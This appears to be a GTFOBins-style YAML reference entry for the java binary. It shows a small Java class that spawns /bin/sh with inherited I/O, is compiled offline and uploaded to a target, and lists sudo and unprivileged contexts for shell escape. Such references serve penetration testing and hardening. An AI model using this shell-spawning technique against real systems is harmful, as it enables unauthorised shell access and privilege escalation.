Files

24 lines
482 B
Plaintext

---
functions:
shell:
- code: |-
java Shell
comment: |-
The `Shell.class` class file can be compiled offline, then uploaded to the target:
```
cat >Shell.java <<EOF
public class Shell {
public static void main(String[] args) throws Exception {
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
}
}
EOF
javac Shell.java
```
contexts:
sudo:
unprivileged:
...